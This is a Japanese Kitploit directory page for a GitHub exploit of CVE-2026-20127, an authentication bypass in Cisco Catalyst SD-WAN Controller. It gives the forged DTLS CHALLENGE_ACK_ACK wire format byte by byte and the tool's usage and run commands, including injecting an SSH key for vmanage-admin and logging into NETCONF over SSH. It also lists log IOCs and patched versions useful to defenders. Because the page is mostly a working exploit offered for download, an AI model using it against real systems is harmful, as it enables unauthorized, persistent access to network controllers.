Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-20127 — Cisco Catalyst SD-WAN Controllerの認証バイパス(CVE-2026-20127)に対するエクスプロイトで、DTLS CHALLENGE_ACK_ACKメッセージを偽造して不正アクセスを獲得し、SSHキーを注入します。 | Kitploit
ツール/GitHubGitHub/sfewer-r7/cve-2026-20127
脆弱性分析エクスプロイトネットワークセキュリティペネトレーションテスト認証レッドチーミング
GitHubsfewer-r7/cve-2026-20127

CVE-2026-20127

Cisco Catalyst SD-WAN Controllerの認証バイパス(CVE-2026-20127)に対するエクスプロイトで、DTLS CHALLENGE_ACK_ACKメッセージを偽造して不正アクセスを獲得し、SSHキーを注入します。

リポジトリを見る
2435ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-20127

概要

Cisco Catalyst SD-WAN Controller の認証バイパス脆弱性 CVE-2026-20127 に対するエクスプロイトです。

このエクスプロイトは vbond_proc_challenge_ack_ack() ハンドラを標的とします。攻撃者が制御する verify_status=1 バイトを含む偽造 CHALLENGE_ACK_ACK メッセージ(msg_type=10)を送信し、サーバーにピアエントリの authenticated=1 を直接強制的に設定させます。

仕組み

通常の DTLS コントロールプレーンハンドシェイクでは:

  1. クライアントが証明書を使用して DTLS 経由で接続する
  2. サーバーが CHALLENGE(msg_type=8)を送信する
  3. クライアントが証明書データを含む CHALLENGE_ACK(msg_type=9)で応答する
  4. サーバーが証明書を検証し、verify_status=1 を含む CHALLENGE_ACK_ACK(msg_type=10)を送信する

このエクスプロイトはフローをショートサーキットします:

  1. クライアントが自己署名証明書を使用して DTLS 経由で接続する
  2. サーバーが CHALLENGE を送信する
  3. クライアントが verify_status=1 を含む CHALLENGE_ACK_ACK(msg_type=10)を直接送信する
  4. サーバーの vbond_proc_challenge_ack_ack() がメッセージ本文から verify_status を読み取る — これは攻撃者が制御可能
  5. verify_status != 0 であるため、サーバーは authenticated=1 を設定する(*(BYTE*)(a2+70) = 1)

vbond_proc_msg() 内の認証ゲートは、msg_type=10 を認証チェックから除外するため、ピアがまだ認証されていない状態でもこの攻撃は機能します。

Cisco Catalyst SD-WAN Controller(別名 vSmart)バージョン 20.15.3 に対して正常に動作することを確認済みです。

パッチ適用済みの Cisco Catalyst SD-WAN Controller(別名 vSmart)バージョン 20.12.6.1 に対しては失敗することを確認済みです。

使用方法

root@kitploit:~
Usage: ./bin/vdaemon_exploit TARGET [options]

vdaemon DTLS Authentication Bypass PoC (CVE-2026-20127)

This exploit targets the vbond_proc_challenge_ack_ack() handler.
It sends a forged CHALLENGE_ACK_ACK with verify_status=1, causing
the server to set authenticated=1 without certificate verification.

    -p, --port PORT                  DTLS port (default: 12346)
        --inject-key                 Generate and inject SSH key into vmanage-admin authorized_keys
        --ssh-key PUBKEY_FILE        Path to SSH public key file to inject
        --cert CERT_FILE             Path to PEM certificate file for DTLS handshake
        --cert-key KEY_FILE          Path to PEM private key file for DTLS handshake (used with --cert)
        --data-dir DIR               Directory for generated keys/certs (default: ./data/)

Examples:
  ./bin/vdaemon_exploit 192.168.86.166
  ./bin/vdaemon_exploit 192.168.86.166 --inject-key
  ./bin/vdaemon_exploit 192.168.86.166 --ssh-key ~/.ssh/id_rsa.pub
  ./bin/vdaemon_exploit 192.168.86.166 --cert ./data/cert.pem --cert-key ./data/key.pem

実行例

root@kitploit:~
# Install dependencies
bundle install

# Run exploit - Test the auth bypass
ruby ./bin/vdaemon_exploit 192.168.86.166

# Run exploit - Leverage the auth bypass to inject an SSH key
ruby ./bin/vdaemon_exploit 192.168.86.166 --inject-key

# Leverage SSH key - Login to NETCONF as vmanage-admin
ssh -i ./data/ssh/attacker_ssh_20260306_141607 [email protected] -p 830

以下のスクリーンショットは、エクスプロイトの成功と、その後の NETCONF サービスへの SSH アクセスを示しています:

CVE-2026-20127 Example

技術的詳細

脆弱な関数: vbond_proc_challenge_ack_ack()

vdaemon(20.12.5)内のアドレス 0x38AB7 に位置します。この関数は受信した CHALLENGE_ACK_ACK メッセージを処理し、以下の主要なチェックを行います:

  1. 重複チェック(a2+112): このピアに対して CHALLENGE_ACK_ACK が既に処理されている場合は拒否します。初回はこのカウンタが 0 → 通過します。
  2. vBond 拒否(a1+8 == 4): ローカルデバイスが vBond の場合は 20 を返します。vSmart(type=3)を標的とする → 通過します。
  3. タイマー作成: hello-timer と expiry-timer を作成します。失敗する可能性は低い → 通過します。
  4. verify_status(a3+32): メッセージ本文の最初のバイトを読み取ります。ゼロの場合 → 拒否パス(ピア削除)。非ゼロの場合 → *(BYTE*)(a2+70) = 1(認証済み)を設定します。

重大な欠陥: verify_status はサーバー側の検証なしに、攻撃者が制御するメッセージ本文から直接取得されます。この関数は検証ステータスに関するピアの主張を信頼します。

認証ゲートの除外

vbond_proc_msg() 内で、未認証ピアがほとんどのメッセージタイプを送信するのをブロックする認証ゲートは、msg_type=10(CHALLENGE_ACK_ACK)を明示的に除外しています。これは正当なプロトコルフロー(サーバーが認証完了前にクライアントへ ACK_ACK を送信する)に必要ですが、攻撃者が偽造 ACK_ACK をサーバーに送信することも可能にします。

ワイヤーフォーマット

このエクスプロイトは 14 バイトのメッセージを送信します:

root@kitploit:~
Header (12 bytes):
  Byte 0:  0x0A        (version=0, msg_type=10/CHALLENGE_ACK_ACK)
  Byte 1:  0x30        (device_type=3/vSmart << 4)
  Byte 2:  0xA0        (flags)
  Byte 3:  0x00        (reserved)
  Bytes 4-7:  domain_id  (big-endian u32, default: 1)
  Bytes 8-11: site_id    (big-endian u32, default: 100)

Body (2 bytes):
  Byte 0:  0x01        (verify_status = 1 / TRUE)
  Byte 1:  0x00        (reserved)

IOCs

この例では、標的は Cisco Catalyst SD-WAN Controller(別名 vSmart)バージョン 20.15.3 でした。標的の IP アドレスは 192.168.86.166、攻撃者の IP アドレスは 192.168.86.35 でした。

ログファイル /var/log/vsyslog には以下のメッセージが記録されました:

root@kitploit:~
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart  generated-at:3-9-2026T15:2:24
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down  generated-at:3-9-2026T15:2:24

ログファイル /var/log/vdebug には以下のメッセージが記録されました:

root@kitploit:~
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_peer_ssl_snapshot_info[497]: [VDAEMON_DBG_SSL-5] ssl 0x7fdc8a4b2000 ssl_version 65277 protocol_version 7 cipher_name ECDHE-RSA-AES256-GCM-SHA384 is_server true cipher_bits 256 cipher_desc "ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(256) Mac=AEAD
"
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_peer_ssl_snapshot_info[506]: [VDAEMON_DBG_SSL-5] local_cert: "RSA"(6) bits:2048 sec_bits:112 peer_cert: "RSA"(6) bits:2048 sec_bits:112 local_tmp: not filled peer_tmp: "ECDH"(408) ec_group "P-521" (716) bits:521 sec_bits:260
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vbond_handshake_event_cb[1436]: [VDAEMON_DBG_CERT-5] Get CA RSA Public key
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vbond_proc_msg[5747]: [VDAEMON_DBG_MISC-3] Migrating .. sys_ip :: vmanage_sys_ip 0.0.0.0
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:00" new-state:up  generated-at:3-9-2026T15:2:12
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_send_register_to_vmanage[7133]: [VDAEMON_DBG_PKT-5] Sending register_to_vmanage
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_reset_cfg_push_request[6225]: [VDAEMON_DBG_MISC-5] /var/confd/.backup/vmanage_cfg_push_request does not exist
Mar  9 15:02:13 testvsmart VDAEMON_1[1483]: vdaemon_vbond_poke_a_hole[5861]: [VDAEMON_DBG_PKT-3] poke-a-hole is not possible for FD 23 wan_if eth0_v6
Mar  9 15:02:13 testvsmart VDAEMON_1[1483]: vbond_peer_create[1773]: [VDAEMON_DBG_MISC-3] Incompatible peer:Local intf name: eth0_v6 peer ip: 192.168.86.134
Mar  9 15:02:13 testvsmart VDAEMON_0[1488]: vdaemon_vbond_poke_a_hole[5861]: [VDAEMON_DBG_PKT-3] poke-a-hole is not possible for FD 22 wan_if eth0_v6
Mar  9 15:02:13 testvsmart VDAEMON_0[1488]: vbond_peer_create[1773]: [VDAEMON_DBG_MISC-3] Incompatible peer:Local intf name: eth0_v6 peer ip: 192.168.86.134
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: vbond_peer_timer_exp_cb[584]: [VDAEMON_DBG_EVENTS-3] Timing out peer 192.168.86.35:52521 on eth0
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart  generated-at:3-9-2026T15:2:24
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down  generated-at:3-9-2026T15:2:24

エクスプロイトの使用に成功した後、リモートの攻撃者は新しくアップロードされた vmanage-admin ユーザーの SSH キーを利用して、TCP ポート 830 の SSH 経由で NETCONF サービスにログインできます。ログファイル /var/log/auth.log には以下のメッセージが記録されました:

root@kitploit:~
Mar  9 15:02:24 testvsmart sshd[4838]: Accepted publickey for vmanage-admin from 192.168.86.35 port 52135 ssh2: RSA SHA256:5gvFG8VrVRpc/fX6PDd2vDfTj63jcIgbiWvSRTrlqBo
Mar  9 15:02:24 testvsmart sshd[4838]: pam_unix(sshd:session): session opened for user vmanage-admin(uid=1001) by (uid=0)
ツールをダウンロード